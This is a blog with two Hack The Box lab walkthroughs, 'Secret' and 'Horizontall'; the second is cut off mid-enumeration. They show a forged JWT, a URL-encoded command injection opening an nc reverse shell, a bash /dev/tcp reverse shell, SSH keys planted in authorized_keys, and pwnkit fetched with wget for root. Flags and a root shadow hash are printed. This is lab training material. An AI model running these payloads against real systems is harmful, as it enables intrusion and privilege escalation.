Lance Grover

HTB – Secret – Walkthrough ( with the pwnkit option! LOL )

admin — Sun, 30 Jan 2022 06:43:50 +0000

Figured with pwnkit out I should revisit some of the HTB and see if it can be leveraged to get some easy root…LOL…and with Secret you can! I will discuss the other method I used before pwnkit as well.

First of course I ran nmap -sC -sV 10.10.11.120, and checked out the websites with some enumperation, but I found this api running on port 3000 to play with:

lanix@lgrover-lap-01:~/HTB/Secret$ curl -X POST http://10.10.11.120:3000/api/user/register -H ‘Content-Type: application/json’ -d ‘{“email”:”root@dasiths.works”,”name”:”tester”,”password”:”Kekc8swFgD6zU”}’
{“user”:”tester”}lanix@lgrover-lap-01:~/HTB/Secret$

now we login:

lanix@lgrover-lap-01:~/HTB/Secret$ curl -X POST http://10.10.11.120:3000/api/user/login -H ‘Content-Type: application/json’ -d ‘{“email”:”root@dasiths.works”,”password”:”Kekc8swFgD6zU”}’
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWY2MmQ5OWNlOGYyMjA0NWNjYzE5MzgiLCJuYW1lIjoidGVzdGVyIiwiZW1haWwiOiJyb290QGRhc2l0aHMud29ya3MiLCJpYXQiOjE2NDM1MjM1MjR9.4_s-m8WD4yR9J8TID2Ydvd4C9Lj1xMGx34R_RAgl6wclanix@lgrover-lap-01:~/HTB/Secret$

now we take that and use https://github.com/ticarpi/jwt_tool

lanix@lgrover-lap-01:~/HTB/Secret$ python3 jwt_tool/jwt_tool.py -I -S hs256 -pc 'name' -pv 'theadmin' -p 'gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE' eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWY2MmQ5OWNlOGYyMjA0NWNjYzE5MzgiLCJuYW1lIjoidGVzdGVyIiwiZW1haWwiOiJyb290QGRhc2l0aHMud29ya3MiLCJpYXQiOjE2NDM1MjM1MjR9.4_s-m8WD4yR9J8TID2Ydvd4C9Lj1xMGx34R_RAgl6wc

        \   \        \         \          \                    \ 
   \__   |   |  \     |\__    __| \__    __|                    |
         |   |   \    |      |          |       \         \     |
         |        \   |      |          |    __  \     __  \    |
  \      |      _     |      |          |   |     |   |     |   |
   |     |     / \    |      |          |   |     |   |     |   |
\        |    /   \   |      |          |\        |\        |   |
 \______/ \__/     \__|   \__|      \__| \______/  \______/ \__|
 Version 2.2.4                \______|             @ticarpi      

Original JWT: 

jwttool_f1454aca7ebd3cf03d089a425ba09757 - Tampered token - HMAC Signing:
[+] eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWY2MmQ5OWNlOGYyMjA0NWNjYzE5MzgiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRocy53b3JrcyIsImlhdCI6MTY0MzUyMzUyNH0.PFHh-JBylEMpQScIUepfDr-81SLrtNBjY6A_z3vdYEg

then we start up our netcat listener

nc -lpnv 1337

Now we exploit to get shell using the token from above

lanix@lgrover-lap-01:~/HTB/Secret$ curl 'http://10.10.11.120:3000/api/logs?file=;rm+%2Ftmp%2Ff%3Bmkfifo+%2Ftmp%2Ff%3Bcat+%2Ftmp%2Ff%7C%2Fbin%2Fsh+-i+2%3E%261%7Cnc+10.10.14.58+1337+%3E%2Ftmp%2Ff%0A%0A' -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWY2MmQ5OWNlOGYyMjA0NWNjYzE5MzgiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRocy53b3JrcyIsImlhdCI6MTY0MzUyMzUyNH0.PFHh-JBylEMpQScIUepfDr-81SLrtNBjY6A_z3vdYEg'

now create ourselves an entry in the authorized_keys file (first make sure the ~/.ssh directory exists)

$ echo "ssh-rsa AAAAB3NzaC1yc2EA**************************************************************A0XQ4GZT la@htb" >> authorized_keys

now we can get the user.txt

cat user.txt
cf3762b8cfd19834ad6543a16c297227

then I looked for suid exes, found /opt/count

using /opt/count I had it look at /root/.ssh/id_rsa then in another shell I killed the process
I went to /var/crash and used apport-unpack _path_exe..crash /tmp/somedir then used strings on the CoreDump to see the contents of the id_rsa file, then I could ssh directly in as root…I also used that technique to get the /root/root.txt file but wanted to get shell as well.

Now lets use pwnkit to get root!

I created a .pwnkit directory and pulled down my files from my box, on my local box I did:

git clone https://github.com/berdav/CVE-2021-4034.git
cd CVE-2021-4034
python3 -m http.server 8080

Then on the Secret.htb box I pulled down 3 files:

wget http://10.10.14.58:8080/Makefile
wget http://10.10.14.58:8080/cve-2021-4034.c
wget http://10.10.14.58:8080/pwnkit.c
make
./cve-2021-4034

Now I had a root shell!

dasith@secret:~/.pwnkit$ ./cve-2021-4034 
# id
uid=0(root) gid=0(root) groups=0(root),1000(dasith)
#

cat /root/root.txt
764cfded32d3eca063281c06174ba4ec

Further proof:

cat /etc/shadow

root:$6$/0f5J.S8.u.dA78h$xSyDRhh5Zf18Ha9XNVo5dvPhxnI0i7D/uD8T5FcYgN1FYMQbvkZakMgjgm3bhtS6hgKWBcD/QJqPgQR6cycFj.:18873:0:99999:7:::

HTB – Horizontall – Walkthrough

admin — Wed, 12 Jan 2022 05:52:46 +0000

Start

nmap -sV -sC 10.10.11.105
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-07 22:46 MST
Nmap scan report for 10.10.11.105
Host is up (0.086s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA)
|   256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA)
|_  256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-title: Did not follow redirect to http://horizontall.htb
|_http-server-header: nginx/1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.03 seconds

add dns to /etc/hosts

echo "10.10.11.105 horizontall.htb" >> /etc/hosts

Lets see what we have

$ curl -v http://horizontall.htb
*   Trying 10.10.11.105:80...
* Connected to horizontall.htb (10.10.11.105) port 80 (#0)
> GET / HTTP/1.1
> Host: horizontall.htb
> User-Agent: curl/7.79.1
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: nginx/1.14.0 (Ubuntu)
< Date: Sat, 08 Jan 2022 05:53:48 GMT
< Content-Type: text/html
< Content-Length: 901
< Last-Modified: Fri, 30 Jul 2021 07:25:57 GMT
< Connection: keep-alive
< ETag: "6103a985-385"
< Accept-Ranges: bytes
< 
horizontall

* Connection #0 to host horizontall.htb left intact

ok, running nginx, but lets see what files

$ ffuf -u http://horizontall.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.3.1 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://horizontall.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
________________________________________________

index.html              [Status: 200, Size: 901, Words: 43, Lines: 2]
favicon.ico             [Status: 200, Size: 4286, Words: 8, Lines: 1]
.                       [Status: 301, Size: 194, Words: 7, Lines: 8]
:: Progress: [37050/37050] :: Job [1/1] :: 462 req/sec :: Duration: [0:01:20] :: Errors: 1 ::

not much there…lets try hosts:

$ curl -s -H "Host: doesntexist.horizontall.htb" http://horizontall.htb | wc -c
194
$ ffuf -c -u http://horizontall.htb/ -H "Host: FUZZ.horizontall.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -fs 194

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.3.1 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://horizontall.htb/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.horizontall.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
 :: Filter           : Response size: 194
________________________________________________

www                     [Status: 200, Size: 901, Words: 43, Lines: 2]
api-prod                [Status: 200, Size: 413, Words: 76, Lines: 20]
:: Progress: [114441/114441] :: Job [1/1] :: 465 req/sec :: Duration: [0:04:08] :: Errors: 0 ::

Ah, api-prod.horizontall.htb lets check this one out, add it to /etc/hosts

$ sed "s/horizontall.htb/horizontall.htb api-prod.horizontall.htb/g" -i /etc/hosts

now lets see….

curl -v http://api-prod.horizontall.htb
*   Trying 10.10.11.105:80...
* Connected to api-prod.horizontall.htb (10.10.11.105) port 80 (#0)
> GET / HTTP/1.1
> Host: api-prod.horizontall.htb
> User-Agent: curl/7.79.1
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: nginx/1.14.0 (Ubuntu)
< Date: Sat, 08 Jan 2022 06:17:49 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 413
< Connection: keep-alive
< Vary: Origin
< Content-Security-Policy: img-src 'self' http:; block-all-mixed-content
< Strict-Transport-Security: max-age=31536000; includeSubDomains
< X-Frame-Options: SAMEORIGIN
< X-XSS-Protection: 1; mode=block
< Last-Modified: Wed, 02 Jun 2021 20:00:29 GMT
< Cache-Control: max-age=60
< X-Powered-By: Strapi 
< 



  
    
    
    Welcome to your API
    
    
  
  
    
      
        Welcome.
      
    
  

* Connection #0 to host api-prod.horizontall.htb left intact

and now the ffuf

$ ffuf -u http://api-prod.horizontall.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.3.1 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://api-prod.horizontall.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
________________________________________________

#                       [Status: 200, Size: 413, Words: 76, Lines: 20]
                        [Status: 200, Size: 413, Words: 76, Lines: 20]
#                       [Status: 200, Size: 413, Words: 76, Lines: 20]
# Priority-ordered case-sensitive list, where entries were found [Status: 200, Size: 413, Words: 76, Lines: 20]
# This work is licensed under the Creative Commons [Status: 200, Size: 413, Words: 76, Lines: 20]
# Attribution-Share Alike 3.0 License. To view a copy of this [Status: 200, Size: 413, Words: 76, Lines: 20]
# on at least 1 host    [Status: 200, Size: 413, Words: 76, Lines: 20]
#                       [Status: 200, Size: 413, Words: 76, Lines: 20]
# Suite 300, San Francisco, California, 94105, USA. [Status: 200, Size: 413, Words: 76, Lines: 20]
# Copyright 2007 James Fisher [Status: 200, Size: 413, Words: 76, Lines: 20]
#                       [Status: 200, Size: 413, Words: 76, Lines: 20]
# or send a letter to Creative Commons, 171 Second Street, [Status: 200, Size: 413, Words: 76, Lines: 20]
# directory-list-2.3-big.txt [Status: 200, Size: 413, Words: 76, Lines: 20]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/ [Status: 200, Size: 413, Words: 76, Lines: 20]
reviews                 [Status: 200, Size: 507, Words: 21, Lines: 1]
users                   [Status: 403, Size: 60, Words: 1, Lines: 1]
admin                   [Status: 200, Size: 854, Words: 98, Lines: 17]
Reviews                 [Status: 200, Size: 507, Words: 21, Lines: 1]
Users                   [Status: 403, Size: 60, Words: 1, Lines: 1]
Admin                   [Status: 200, Size: 854, Words: 98, Lines: 17]
REVIEWS                 [Status: 200, Size: 507, Words: 21, Lines: 1]
                        [Status: 200, Size: 413, Words: 76, Lines: 20]

look at some of them

curl http://api-prod.horizontall.htb/reviews/
[{"id":1,"name":"wail","description":"This is good service","stars":4,"created_at":"2021-05-29T13:23:38.000Z","updated_at":"2021-05-29T13:23:38.000Z"},{"id":2,"name":"doe","description":"i'm satisfied with the product","stars":5,"created_at":"2021-05-29T13:24:17.000Z","updated_at":"2021-05-29T13:24:17.000Z"},{"id":3,"name":"john","description":"create service with minimum price i hop i can buy more in the futur","stars":5,"created_at":"2021-05-29T13:25:26.000Z","updated_at":"2021-05-29T13:25:26.000Z"}]

curl http://api-prod.horizontall.htb/admin/



  
  
  
  
  
  Strapi Admin








curl http://api-prod.horizontall.htb/users/
{"statusCode":403,"error":"Forbidden","message":"Forbidden"}

poking around, I end up seeing the http://api-prod.horizontall.htb/admin/auth/login and it shows a logo for “strapi”

so…that gives us an idea to look for!

https://www.cvedetails.com/cve/CVE-2019-18818/

now we need to be able to exploit this….exploit-db!

https://www.exploit-db.com/exploits/50239

blind exploit! time for a reverse shell…..

Reverse Shell Cheat Sheet

nc -lvnp 2345

bash -c 'bash -i >& /dev/tcp/10.10.14.10/2345 0>&1'

Now we have shell

cd /home
ls
cd developer
cat user.txt

now lets get a direct ssh connection

echo "ssh-rsa  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA kali" >> ~/.ssh/authorized_keys

Now I can direct ssh in with:

ssh -i id_rsa-horizontall strapi@horizontall.htb

now lets see whats going on

$ netstat -tunlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:1337          0.0.0.0:*               LISTEN      1809/node /usr/bin/ 
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
$

We see port 8000 as available

$ curl http://localhost:8000


    
        
        

        Laravel